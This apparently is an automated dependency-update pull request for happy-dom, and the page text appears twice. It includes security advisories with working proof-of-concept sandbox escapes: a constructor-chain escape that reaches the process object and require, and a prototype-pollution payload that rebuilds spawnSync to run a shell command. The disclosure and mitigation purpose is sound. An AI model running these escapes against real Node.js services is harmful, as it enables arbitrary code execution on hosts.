This PR contains the following updates:
GitHub Vulnerability Alerts
Impact
Consumers of the NPM package happy-dom
Patches
The security vulnerability has been patched in v15.10.2
Workarounds
No easy workarounds to my knowledge
References
#1585
Escape of VM Context gives access to process level functionality
Summary
Happy DOM v19 and lower contains a security vulnerability that puts the owner system at the risk of RCE (Remote Code Execution) attacks.
A Node.js VM Context is not an isolated environment, and if the user runs untrusted JavaScript code within the Happy DOM VM Context, it may escape the VM and get access to process level functionality.
It seems like what the attacker can get control over depends on if the process is using ESM or CommonJS. With CommonJS the attacker can get hold of the require() function to import modules.
Happy DOM has JavaScript evaluation enabled by default. This may not be obvious to the consumer of Happy DOM and can potentially put the user at risk if untrusted code is executed within the environment.
Reproduce
CommonJS (Possible to get hold of require)
const { Window } = require('happy-dom');
const window = new Window({ console });
window.document.write(`
<script>
const process = this.constructor.constructor('return process')();
const require = process.mainModule.require;
console.log('Files:', require('fs').readdirSync('.').slice(0,3));
</script>
`);
ESM (Not possible to get hold of import or require)
const { Window } = require('happy-dom');
const window = new Window({ console });
window.document.write(`
<script>
const process = this.constructor.constructor('return process')();
console.log('PID:', process.pid);
</script>
`);
Potential Impact
Server-Side Rendering (SSR)
const { Window } = require('happy-dom');
const window = new Window();
window.document.innerHTML = userControlledHTML;
Testing Frameworks
Any test suite using Happy-DOM with untrusted content may be at risk
Attack Scenarios
- Data Exfiltration: Access to environment variables, configuration files, secrets
- Lateral Movement: Network access for connecting to internal systems. Happy DOM already gives access to the network by fetch, but has protections in place (such as CORS and header validation etc.).
- Code Execution: Child process access for running arbitrary commands
- Persistence: File system access
Recommended Immediate Actions
- Update Happy DOM to v20 or above
- This version has JavaScript evaluation disabled by default
- This version will output a warning if JavaScript is enabled in an insecure environment
- Run Node.js with the "--disallow-code-generation-from-strings" if you need JavaScript evaluation enabled
- This makes sure that evaluation can't be used at process level to escape the VM
eval() and Function() can still be used within the Happy DOM VM without any known security risk
- Happy DOM v20 and above will output a warning if this flag is not in use
- If you can't update Happy DOM right now, it's recommended to disable JavaScript evaluation, unless you completely trust the content within the environment
Technical Root Cause
All classes and functions inherit from Function. By walking the constructor chain it's possible to get hold of Function at process level. As Function can evaluate code from strings, it's possible to execute code at process level.
Running Node with the "--disallow-code-generation-from-strings" flag protects against this.
Summary
The mitigation proposed in GHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads.
Details
The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like "process" in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf).
PoC
Attackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., "process". In this way, attackers might be able to execute arbitrary commands like in the example below via spawn().
import { Browser } from "happy-dom";
const browser = new Browser({settings: {enableJavaScriptEvaluation: true}});
const page = browser.newPage({console: true});
page.url = 'https://example.com';
let payload = 'spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+`=`+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:`pipe`,readable:!0,writable:!1},{type:`pipe`,readable:!1,writable:!0},{type:`pipe`,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!==`buffer`)for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + `spawnSync `+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};'
page.content = `<html>
<script>
function f() { let process = this; ${payload}; spawnSync("touch", ["success.flag"]); return "success";}
this.constructor.constructor.__proto__.__proto__.toString = f;
this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f;
// Other methods that can be abused this way: isPrototypeOf, propertyIsEnumerable, valueOf
</script>
<body>Hello world!</body></html>`;
await browser.close();
console.log(`The process object is ${process}`);
console.log(process.hasOwnProperty('spawn'));
Impact
Arbitrary code execution via breaking out of the Node.js' vm isolation.
Recommended Immediate Actions
Users can freeze the builtins in the global scope to defend against attacks similar to the PoC above. However, the untrusted code might still be able to retrieve all kind of information available in the global scope and exfiltrate them via fetch(), even without prototype pollution capabilities. Not to mention side channels caused by the shared process/isolate. Migration to isolated-vm is suggested instead.
Cris from the Endor Labs Security Research Team, who has worked extensively on JavaScript sandboxing in the past, submitted this advisory.
Release Notes
capricorn86/happy-dom (happy-dom)
Compare Source
👷♂️ Patch fixes
- Adds frozen intrinsics flag to workers in
@happy-dom/server-renderer - By @capricorn86 in task #1934
Compare Source
👷♂️ Patch fixes
- Adds warning for environment with unfrozen intrinsics (builtins) when JavaScript evaluation is enabled- By @capricorn86 in task #1932
- A security advisory has been reported showing that the recommended preventive measure of running Node.js with
--disallow-code-generation-from-strings wasn't enough to protect against attackers escaping the VM context and accessing process-level functions. Big thanks to @cristianstaicu for reporting this!
- The documentation for how to run Happy DOM with JavaScript evaluation enabled in a safer way has been updated. Read more about it in the Wiki
Compare Source
I avoid making breaking changes as much as possible in Happy DOM. When I have to make a breaking change, I try to keep it as minimal as possible. This could be a breaking change that impacts many projects, and I am truly sorry if you are negatively affected by this.
💣 Breaking Changes
- Due to security risks, JavaScript evaluation is now disabled by default - By @capricorn86 in task #1930
- A security advisory (GHSA-37j7-fg3j-429f) has been reported that shows a security vulnerability where it's possible to escape the VM context and get access to process level functionality. Big thanks to @Mas0nShi for reporting this!
- Due to this security risk, JavaScript evaluation is now disabled by default to prevent that consumers accidentally executes untrusted code without taking precautions
- JavaScript evaluation can be enabled by setting enableJavaScriptEvaluation to "true". Read more about how to enable this in a safer way in the Wiki
Compare Source
👷♂️ Patch fixes
- Fixes issue related to CSS pseudo selector
:scope that didn't work correctly for direct descendants to root - By @capricorn86 in task #1620
Compare Source
👷♂️ Patch fixes
- Fixes issue with sending in URLs as string in
@happy-dom/server-renderer config using CLI - By @capricorn86 in task #1908
Compare Source
💣 Breaking Changes
- Removes support for CommonJS - By @capricorn86 in task #1730
- Support for CommonJS is no longer needed as Node.js v18 is deprecated and v20 and above supports loading ES modules from CommonJS using
require()
- Updates Jest to v30 in the
@happy-dom/jest-environment package - By @capricorn86 in task #1730
- Makes Jest packages peer dependencies to make it easier to align versions with the project using
@happy-dom/jest-environment - By @capricorn86 in task #1730
🎨 Features
- Adds a new package called
@happy-dom/server-renderer - By @capricorn86 in task #1730
- This package provides a simple way to statically render (SSG) or server-side render (SSR) your client-side application
- Read more in the Wiki under Server-Renderer
- Adds support for
import.meta to the ESM compiler - By @capricorn86 in task #1730
- Adds support for the CSS pseudo selector
:scope - By @capricorn86 in task #1620
- Improves support for
MediaList - By @capricorn86 in task #1730
- Adds support for
CSSKeywordValue, CSSStyleValue, StylePropertyMap, StylePropertyMap, StylePropertyMapReadOnly - By @capricorn86 in task #1730
- Improves debug information in the ESM compiler - By @capricorn86 in task #1730
- Adds validation of browser settings when creating a new
Browser instance - By @capricorn86 in task #1730
- Adds support for the browser setting navigation.beforeContentCallback which makes it possible to inject event listeners or logic before content is loaded to the document when navigating a browser frame - By @capricorn86 in task #1730
- Adds support for the browser setting fetch.requestHeaders which provides with a declarative and simple way to add request headers - By @capricorn86 in task #1730
- Adds support for setting an object to timer.preventTimerLoops which makes it possible to define different settings for
setTimeout() and requestAnimationFrame() - By @capricorn86 in task #1730
- Adds support for the browser setting viewport which makes it possible to define a default viewport size - By @capricorn86 in task #1730
- Adds support for the parameters
beforeContentCallback and headers to BrowserFrame.goto(), BrowserFrame.goBack(), BrowserFrame.goForward(), BrowserFrame.goSteps() and BrowserFrame.reload() - By @capricorn86 in task #1730
- Adds support for
PopStateEvent and trigger the event when navigating the page history using History.pushState() - By @capricorn86 in task #1730
- Use local file paths for virtual server files in stack traces - By @capricorn86 in task #1730
- Adds support for
ResponseCache.fileSystem.load() and ResponseCache.fileSystem.save() for storing and loading cache from the file system - By @capricorn86 in task #1730
👷♂️ Patch fixes
- Fixes a bug in the ESM compiler that caused it to fail to parse certain code - By @capricorn86 in task #1730
- Disables the same origin policy when navigating a browser frame using
BrowserFrame.goto() - By @capricorn86 in task #1730
- Fixes bug where CSS selectors with the pseudos "+" and ">" failed for selectors without arguments - By @capricorn86 in task #1730
- Adds try and catch to listeners for events dispatched from
XMLHttpRequest to prevent it from being set to an invalid state if a listener throws an Error - By @capricorn86 in task #1730
Compare Source
👷♂️ Patch fixes
- Addresses an issue where an error occurred if the Element ID was set to the same name as a Window property with a null value - By @capricorn86 in task #1841
Compare Source
💣 Breaking Changes
- Makes the types for Happy DOM strict - By @capricorn86 in task #1154
- This makes it possible to use the option
skipLibCheck set to "false" in the typescript configuration for projects with a strict configuration
- This change has resulted in that some types has changed and is therefore considered as a breaking change
BrowserContext.close() now throws an error when trying to close the default context of a browser - By @capricorn86 in task #1154
🎨 Features
- Adds support for
Browser.closed, BrowserContext.closed, BrowserPage.closed and BrowserFrame.closed - By @capricorn86 in task #1154
- Adds support for
VirtualConsolePrinter.close() and VirtualConsolePrinter.closed - By @capricorn86 in task #1154
- Adds support for
CookieContainer.clearCookies() - By @capricorn86 in task #1154
Compare Source
👷♂️ Patch fixes
- Removes global typescript definition that was used for custom elements - By @capricorn86 in task #1154
Compare Source
👷♂️ Patch fixes
Compare Source
🎨 Features
- Adds support for disabling validation of certificates, to allow for self-signed certificates to be used - By @capricorn86 in task #1763
- Read more about the new setting
fetch.disableStrictSSL under IBrowserSettings in the Wiki
Compare Source
Compare Source
👷♂️ Patch fixes
- Adds missing null check in
HTMLLinkElement for a browser frame property that becomes null during teardown of a Window - By @capricorn86 in task #1800
Compare Source
👷♂️ Patch fixes
- Incorrect cache matching caused
Element.classList to return the wrong items - By @capricorn86 in task #1812
Compare Source
👷♂️ Patch fixes
- Handle wider range of valid characters in unquoted attribute value parsing - By @AudunWA in task #1817
Compare Source
👷♂️ Patch fixes
- Removes the min and max boundary check when setting the value of an input field of type "date" - By @zgrybus in task #1815
Compare Source
Compare Source
👷♂️ Patch fixes
- Fixes issue where the body of a
ReadableStream was locked after being cloned - By @MarcMcIntosh in task #1493
Compare Source
👷♂️ Patch fixes
- Adds
previousSibling and nextSibling to MutationObserver records when a child is removed - By @uxuip in task #1803
Compare Source
👷♂️ Patch fixes
- Adds support for the unicode characters
« and » in query selectors used by the React 19.1 "useId" hook - By @terrymun in task #1785
Compare Source
👷♂️ Patch fixes
- Existing URL query string should be overwritten on form submit when method is "GET" - By @rslabbert in task #1786
Compare Source
🎨 Features
- Adds support for
XMLHttpRequest.overrideMimeType() - By @maxmil in task #1782
Compare Source
👷♂️ Patch fixes
Compare Source
👷♂️ Patch fixes
- Fixes issue where CSS variables where not being parsed in color functions - By @hampustagerud in task #1822
Compare Source
👷♂️ Patch fixes
Compare Source
👷♂️ Patch fixes
- Preserve slashes in the "name" property in
File - By @dyabol in task #1788
Compare Source
👷♂️ Patch fixes
- Handle bubbling click events in
HTMLAnchorElement - By @maxmil in task #1775
Compare Source
👷♂️ Patch fixes
- Sets 0 instead of undefined as default in
setTimeout() to prevent Bun from logging a "TimeoutNaNWarning" - By @lekoala in task #1772
Compare Source
👷♂️ Patch fixes
- Fixes issue where the wrong scope was used when
settings.errorCapture is not set to "tryAndCatch" and handleEvent is used for the event listener - By @capricorn86 in task #1766
Compare Source
👷♂️ Patch fixes
- Fixes issue where an error was thrown for "xmlns" or unknown prefixes in
Element.setAttribute() - By @capricorn86 in task #1750
Compare Source
👷♂️ Patch fixes
- Fixes issue where an error was thrown for attributes "xlink" or an unknown prefix during parsing of HTML - By @capricorn86 in task #1750
Compare Source
🎨 Features
- Adds support for the
KeyboardEvent.getModifierState() method - By @karpiuMG in task #1467
Compare Source
👷♂️ Patch fixes
- Escapes special regex characters in attribute selectors - By @karpiuMG in task #1697
Compare Source
👷♂️ Patch fixes
- Fixes issue where an error was thrown for attributes with "xmlns" as prefix during parsing of HTML (e.g.
<svg xmlns:link=""></svg>) - By @capricorn86 in task #1750
Compare Source
🎨 Features
Compare Source
👷♂️ Patch fixes
- SVG elements should be skipped in
HTMLElement.innerText - By @karpiuMG in task #1151
Compare Source
👷♂️ Patch fixes
Element.contentEditable should be synced with the "contenteditable" attribute - By @karpiuMG in task #1463
Compare Source
👷♂️ Patch fixes
Compare Source
👷♂️ Patch fixes
- Handle nested square brackets and parentheses inside pseudo-class arguments - By @karpiuMG in task #1072
Compare Source
🎨 Features
- Add support for multiple selectors in ":not" pseudo-class - By @karpiuMG in task #990
Compare Source
👷♂️ Patch fixes
Compare Source
👷♂️ Patch fixes
Compare Source
👷♂️ Patch fixes
- Fixes issue with attribute references when using
Element.cloneNode() - By @Mas0nShi in task #1745
Compare Source
👷♂️ Patch fixes
- Prevents disabled inputs from being focused or blurred - By @karpiuMG in task #1563
Compare Source
👷♂️ Patch fixes
- Event listener properties prefixed with "on" should be the evaluated value of the corresponding attribute - By @capricorn86 in task #474
Compare Source
👷♂️ Patch fixes
- Fixes issue where change event wasn't triggered for an input inside of a label - By @capricorn86 in task #1614
Compare Source
👷♂️ Patch fixes
Compare Source
🎨 Features
- Adds support for sending
AbortSignal as option to EventTarget.addEventListener() - By @karpiuMG in task #1540
Compare Source
👷♂️ Patch fixes
HTMLElement.dataset should return undefined for properties not found - By @karpiuMG in task #1689
Compare Source
👷♂️ Patch fixes
- Fixes issue where the use of filtering in
TreeWalker didn't work according to spec - By @capricorn86 in task #1605
Compare Source
👷♂️ Patch fixes
- Fixes incorrect handling of attribute prefixes when iterating
NamedNodeMap - By @capricorn86 in task #1728
- This caused attribute names to be incorrectly returned in
Element.getAttributeNames() when attributes where using prefixes
Compare Source
👷♂️ Patch fixes
AbortSignal.reason can have any type - By @btea in task #1718
- When aborting a request,
AbortSignal.reason should be the object used when the promise is rejected - By @btea in task #1718
Compare Source
🎨 Features
👷♂️ Patch fixes
- Fixes issue where it was not possible to nest
@media, @supports and @container rules - By @capricorn86 in task #1727
- Fixes issue where
CSSStyleSheet was instantiated internally without a Window context, causing errors to not be thrown correctly in CSSStyleSheet methods - By @capricorn86 in task #1727
- Changes errors thrown in
CSSStyleSheet methods, so that they work according to spec - By @capricorn86 in task #1727
Compare Source
🎨 Features
- Add support for CSS media query rule "prefers-reduced-motion" - By @mwdiaz in task #1724
Compare Source
👷♂️ Patch fixes
- The "slotchange" event should be fired after the element has been connected to the DOM - By @capricorn86 in task #1722
Compare Source
👷♂️ Patch fixes
- Fixes bug where nested query selectors is not returning the correct result when there are multiple matching selector groups - By **@christiango ** in task #1720
Compare Source
👷♂️ Patch fixes
- The property "tabIndex" should return "0" by default in
HTMLAnchorElement, HTMLAreaElement, HTMLButtonElement, HTMLIFrameElement, HTMLInputElement, HTMLMediaElement, HTMLObjectElement, HTMLSelectElement and HTMLTextAreaElement - By @capricorn86 in task #1714
Compare Source
👷♂️ Patch fixes
- Ensure
querySelector() returns the first item that appears in the DOM for grouped selectors - By @christiango in task #1710
Compare Source
💣 Breaking Changes
- Adds support for ECMAScript modules - By @capricorn86 in task #320
- This change allows the use of
import and export statements in JavaScript files
🎨 Features
- Adds support for tracing never ending tasks when using
waitUntilComplete() - By @capricorn86 in task #1567
- Read more about how to enable this feature under
debug.traceWaitUntilComplete in the Wiki for IBrowserSettings
- Adds support for preloading fetch, stylesheet, script and modules in
HTMLLinkElement - By @capricorn86 in task #320
- Adds support for
HTMLLinkElement.relList.supports() - By @capricorn86 in task #320
- Adds support for
Request.mode - By @capricorn86 in task #320
- Output failed requests to the console - By @capricorn86 in task #320
- Adds support for
HTMLScriptElement.blocking, HTMLScriptElement.crossOrigin, HTMLScriptElement.fetchPriority, HTMLScriptElement.noModule, HTMLScriptElement.integrity, HTMLScriptElement.referrerPolicy - By @capricorn86 in task #320
- Use cache in virtual server requests - By @capricorn86 in task #320
- Adds support for
credentials and referrerPolicy when fetching styles and scripts - By @capricorn86 in task #320
- Disallow invalid attributes from being set in
Element.setAttribute() - By @OlaviSau in task #1706
👷♂️ Patch fixes
- Call
afterAsyncResponse fetch interceptor in virtual server requests - By @capricorn86 in task #320
- Fixes bug where children in a
ShadowRoot of a custom element that was upgraded from a HTMLElement wasn't considered connected to the DOM - By @capricorn86 in task #320
Compare Source
👷♂️ Patch fixes
- Handle non-string values gracefully when removing an attribute - By @OlaviSau in task #1706
Compare Source
🎨 Features
- Add support for
insertRow() and deleteRow() to HTMLTableSectionElement - By @christiango in task #1708
Compare Source
👷♂️ Patch fixes
- Removes space from directory name that prevents the repo to be cloned on MS Windows - By @kleinfreund in task #1703
Compare Source
👷♂️ Patch fixes
Compare Source
👷♂️ Patch fixes
- Adds
ICookie, IOptionalCookie, CookieSameSiteEnum and IVirtualServer as exports to the index file - By @capricorn86 in task #1693
- Makes non-mandatory cookie properties optional in
CookieContainer.addCookies() - By @capricorn86 in task #1693
Compare Source
🎨 Features
- Adds support for simulating local HTTP servers that serves files from the local file system - By @capricorn86 in task #1688
- Read more about virtual servers in the Wiki
Compare Source
🎨 Features
- Adds support for subsequent sibling combinator to
querySelector(), querySelectorAll() and matches() (e.g. ".a ~ .b") - By @karpiuMG in task #1683
Compare Source
👷♂️ Patch fixes
- Fixes problem with encoding and decoding attribute values in HTML - By @capricorn86 in task #1678
- Fixes issue where it was not possible to query selector by class when the attribute value had line breaks in it - By @capricorn86 in task #1678
Compare Source
👷♂️ Patch fixes
Event.target should be the target element after an event has been dispatched - By @capricorn86 in task #1529
Compare Source
👷♂️ Patch fixes
- Fixes issue where
Comment, Text and DocumentFragment are not instances of their corresponding property on Window - By @capricorn86 in task #1577
Compare Source
🎨 Features
Compare Source
👷♂️ Patch fixes
- Adds null check for if browser frame is available in
Response during tear down of the Window - By @capricorn86 in task #1669
Compare Source
👷♂️ Patch fixes
- Support using URL as an object for URL:s when using the Browser API - By @capricorn86 in task #1664
Compare Source
👷♂️ Patch fixes
- Fixes issue where HTML assigned to
document.documentElement.innerHTML isnt parsed correctly since v16 - By @capricorn86 in task #1663
Compare Source
🎨 Features
- Allow fetch to be intercepted and modified by sending in an interceptor as a setting - By @OlaviSau in task #1502
Configuration
📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
This PR was generated by Mend Renovate. View the repository job log.
Uh oh!
There was an error while loading. Please reload this page.
This PR contains the following updates:
^14.12.3->^20.0.0GitHub Vulnerability Alerts
CVE-2024-51757
Impact
Consumers of the NPM package
happy-domPatches
The security vulnerability has been patched in v15.10.2
Workarounds
No easy workarounds to my knowledge
References
#1585
CVE-2025-61927
Escape of VM Context gives access to process level functionality
Summary
Happy DOM v19 and lower contains a security vulnerability that puts the owner system at the risk of RCE (Remote Code Execution) attacks.
A Node.js VM Context is not an isolated environment, and if the user runs untrusted JavaScript code within the Happy DOM VM Context, it may escape the VM and get access to process level functionality.
It seems like what the attacker can get control over depends on if the process is using ESM or CommonJS. With CommonJS the attacker can get hold of the
require()function to import modules.Happy DOM has JavaScript evaluation enabled by default. This may not be obvious to the consumer of Happy DOM and can potentially put the user at risk if untrusted code is executed within the environment.
Reproduce
CommonJS (Possible to get hold of require)
ESM (Not possible to get hold of import or require)
Potential Impact
Server-Side Rendering (SSR)
Testing Frameworks
Any test suite using Happy-DOM with untrusted content may be at risk
Attack Scenarios
Recommended Immediate Actions
eval()andFunction()can still be used within the Happy DOM VM without any known security riskTechnical Root Cause
All classes and functions inherit from Function. By walking the constructor chain it's possible to get hold of Function at process level. As Function can evaluate code from strings, it's possible to execute code at process level.
Running Node with the "--disallow-code-generation-from-strings" flag protects against this.
CVE-2025-62410
Summary
The mitigation proposed in GHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads.
Details
The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like "process" in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf).
PoC
Attackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., "process". In this way, attackers might be able to execute arbitrary commands like in the example below via spawn().
Impact
Arbitrary code execution via breaking out of the Node.js' vm isolation.
Recommended Immediate Actions
Users can freeze the builtins in the global scope to defend against attacks similar to the PoC above. However, the untrusted code might still be able to retrieve all kind of information available in the global scope and exfiltrate them via fetch(), even without prototype pollution capabilities. Not to mention side channels caused by the shared process/isolate. Migration to isolated-vm is suggested instead.
Cris from the Endor Labs Security Research Team, who has worked extensively on JavaScript sandboxing in the past, submitted this advisory.
Release Notes
capricorn86/happy-dom (happy-dom)
v20.0.2Compare Source
👷♂️ Patch fixes
@happy-dom/server-renderer- By @capricorn86 in task #1934v20.0.1Compare Source
👷♂️ Patch fixes
--disallow-code-generation-from-stringswasn't enough to protect against attackers escaping the VM context and accessing process-level functions. Big thanks to @cristianstaicu for reporting this!v20.0.0Compare Source
I avoid making breaking changes as much as possible in Happy DOM. When I have to make a breaking change, I try to keep it as minimal as possible. This could be a breaking change that impacts many projects, and I am truly sorry if you are negatively affected by this.
💣 Breaking Changes
v19.0.2Compare Source
👷♂️ Patch fixes
:scopethat didn't work correctly for direct descendants to root - By @capricorn86 in task #1620v19.0.1Compare Source
👷♂️ Patch fixes
@happy-dom/server-rendererconfig using CLI - By @capricorn86 in task #1908v19.0.0Compare Source
💣 Breaking Changes
require()@happy-dom/jest-environmentpackage - By @capricorn86 in task #1730@happy-dom/jest-environment- By @capricorn86 in task #1730🎨 Features
@happy-dom/server-renderer- By @capricorn86 in task #1730import.metato the ESM compiler - By @capricorn86 in task #1730:scope- By @capricorn86 in task #1620MediaList- By @capricorn86 in task #1730CSSKeywordValue,CSSStyleValue,StylePropertyMap,StylePropertyMap,StylePropertyMapReadOnly- By @capricorn86 in task #1730Browserinstance - By @capricorn86 in task #1730setTimeout()andrequestAnimationFrame()- By @capricorn86 in task #1730beforeContentCallbackandheaderstoBrowserFrame.goto(),BrowserFrame.goBack(),BrowserFrame.goForward(),BrowserFrame.goSteps()andBrowserFrame.reload()- By @capricorn86 in task #1730PopStateEventand trigger the event when navigating the page history usingHistory.pushState()- By @capricorn86 in task #1730ResponseCache.fileSystem.load()andResponseCache.fileSystem.save()for storing and loading cache from the file system - By @capricorn86 in task #1730👷♂️ Patch fixes
BrowserFrame.goto()- By @capricorn86 in task #1730XMLHttpRequestto prevent it from being set to an invalid state if a listener throws an Error - By @capricorn86 in task #1730v18.0.1Compare Source
👷♂️ Patch fixes
v18.0.0Compare Source
💣 Breaking Changes
skipLibCheckset to "false" in the typescript configuration for projects with a strict configurationBrowserContext.close()now throws an error when trying to close the default context of a browser - By @capricorn86 in task #1154🎨 Features
Browser.closed,BrowserContext.closed,BrowserPage.closedandBrowserFrame.closed- By @capricorn86 in task #1154VirtualConsolePrinter.close()andVirtualConsolePrinter.closed- By @capricorn86 in task #1154CookieContainer.clearCookies()- By @capricorn86 in task #1154v17.6.3Compare Source
👷♂️ Patch fixes
v17.6.2Compare Source
👷♂️ Patch fixes
v17.6.1Compare Source
🎨 Features
fetch.disableStrictSSLunder IBrowserSettings in the Wikiv17.6.0Compare Source
v17.5.9Compare Source
👷♂️ Patch fixes
HTMLLinkElementfor a browser frame property that becomes null during teardown of aWindow- By @capricorn86 in task #1800v17.5.8Compare Source
👷♂️ Patch fixes
Element.classListto return the wrong items - By @capricorn86 in task #1812v17.5.7Compare Source
👷♂️ Patch fixes
v17.5.6Compare Source
👷♂️ Patch fixes
v17.5.5Compare Source
v17.5.4Compare Source
👷♂️ Patch fixes
ReadableStreamwas locked after being cloned - By @MarcMcIntosh in task #1493v17.5.3Compare Source
👷♂️ Patch fixes
previousSiblingandnextSiblingtoMutationObserverrecords when a child is removed - By @uxuip in task #1803v17.5.2Compare Source
👷♂️ Patch fixes
«and»in query selectors used by the React 19.1 "useId" hook - By @terrymun in task #1785v17.5.1Compare Source
👷♂️ Patch fixes
v17.5.0Compare Source
🎨 Features
XMLHttpRequest.overrideMimeType()- By @maxmil in task #1782v17.4.9Compare Source
👷♂️ Patch fixes
FormData- By @juandiegombr in task #1790v17.4.8Compare Source
👷♂️ Patch fixes
v17.4.7Compare Source
👷♂️ Patch fixes
Request- By @elierotenberg in task #1779v17.4.6Compare Source
👷♂️ Patch fixes
File- By @dyabol in task #1788v17.4.5Compare Source
👷♂️ Patch fixes
HTMLAnchorElement- By @maxmil in task #1775v17.4.4Compare Source
👷♂️ Patch fixes
setTimeout()to prevent Bun from logging a "TimeoutNaNWarning" - By @lekoala in task #1772v17.4.3Compare Source
👷♂️ Patch fixes
settings.errorCaptureis not set to "tryAndCatch" andhandleEventis used for the event listener - By @capricorn86 in task #1766v17.4.2Compare Source
👷♂️ Patch fixes
Element.setAttribute()- By @capricorn86 in task #1750v17.4.1Compare Source
👷♂️ Patch fixes
v17.4.0Compare Source
🎨 Features
KeyboardEvent.getModifierState()method - By @karpiuMG in task #1467v17.3.2Compare Source
👷♂️ Patch fixes
v17.3.1Compare Source
👷♂️ Patch fixes
<svg xmlns:link=""></svg>) - By @capricorn86 in task #1750v17.3.0Compare Source
🎨 Features
v17.2.4Compare Source
👷♂️ Patch fixes
HTMLElement.innerText- By @karpiuMG in task #1151v17.2.3Compare Source
👷♂️ Patch fixes
Element.contentEditableshould be synced with the "contenteditable" attribute - By @karpiuMG in task #1463v17.2.2Compare Source
👷♂️ Patch fixes
v17.2.1Compare Source
👷♂️ Patch fixes
v17.2.0Compare Source
🎨 Features
v17.1.13Compare Source
👷♂️ Patch fixes
v17.1.12Compare Source
👷♂️ Patch fixes
Eventclass - By @alan910127 in task #1747v17.1.11Compare Source
👷♂️ Patch fixes
Element.cloneNode()- By @Mas0nShi in task #1745v17.1.10Compare Source
👷♂️ Patch fixes
v17.1.9Compare Source
👷♂️ Patch fixes
v17.1.8Compare Source
👷♂️ Patch fixes
v17.1.7Compare Source
👷♂️ Patch fixes
FormDatarequests - By @aberigle and @capricorn86 in task #1741v17.1.6Compare Source
🎨 Features
AbortSignalas option toEventTarget.addEventListener()- By @karpiuMG in task #1540v17.1.5Compare Source
👷♂️ Patch fixes
HTMLElement.datasetshould return undefined for properties not found - By @karpiuMG in task #1689v17.1.4Compare Source
👷♂️ Patch fixes
TreeWalkerdidn't work according to spec - By @capricorn86 in task #1605v17.1.3Compare Source
👷♂️ Patch fixes
NamedNodeMap- By @capricorn86 in task #1728Element.getAttributeNames()when attributes where using prefixesv17.1.2Compare Source
👷♂️ Patch fixes
AbortSignal.reasoncan have any type - By @btea in task #1718AbortSignal.reasonshould be the object used when the promise is rejected - By @btea in task #1718v17.1.1Compare Source
🎨 Features
@mediaselector "forced-colors" - By @capricorn86 in task #1727👷♂️ Patch fixes
@media,@supportsand@containerrules - By @capricorn86 in task #1727CSSStyleSheetwas instantiated internally without a Window context, causing errors to not be thrown correctly inCSSStyleSheetmethods - By @capricorn86 in task #1727CSSStyleSheetmethods, so that they work according to spec - By @capricorn86 in task #1727v17.1.0Compare Source
🎨 Features
v17.0.4Compare Source
👷♂️ Patch fixes
v17.0.3Compare Source
👷♂️ Patch fixes
v17.0.2Compare Source
👷♂️ Patch fixes
HTMLAnchorElement,HTMLAreaElement,HTMLButtonElement,HTMLIFrameElement,HTMLInputElement,HTMLMediaElement,HTMLObjectElement,HTMLSelectElementandHTMLTextAreaElement- By @capricorn86 in task #1714v17.0.1Compare Source
👷♂️ Patch fixes
querySelector()returns the first item that appears in the DOM for grouped selectors - By @christiango in task #1710v17.0.0Compare Source
💣 Breaking Changes
importandexportstatements in JavaScript files🎨 Features
waitUntilComplete()- By @capricorn86 in task #1567debug.traceWaitUntilCompletein the Wiki for IBrowserSettingsHTMLLinkElement- By @capricorn86 in task #320HTMLLinkElement.relList.supports()- By @capricorn86 in task #320Request.mode- By @capricorn86 in task #320HTMLScriptElement.blocking,HTMLScriptElement.crossOrigin,HTMLScriptElement.fetchPriority,HTMLScriptElement.noModule,HTMLScriptElement.integrity,HTMLScriptElement.referrerPolicy- By @capricorn86 in task #320credentialsandreferrerPolicywhen fetching styles and scripts - By @capricorn86 in task #320Element.setAttribute()- By @OlaviSau in task #1706👷♂️ Patch fixes
afterAsyncResponsefetch interceptor in virtual server requests - By @capricorn86 in task #320ShadowRootof a custom element that was upgraded from aHTMLElementwasn't considered connected to the DOM - By @capricorn86 in task #320v16.8.1Compare Source
👷♂️ Patch fixes
v16.8.0Compare Source
🎨 Features
insertRow()anddeleteRow()toHTMLTableSectionElement- By @christiango in task #1708v16.7.3Compare Source
👷♂️ Patch fixes
v16.7.2Compare Source
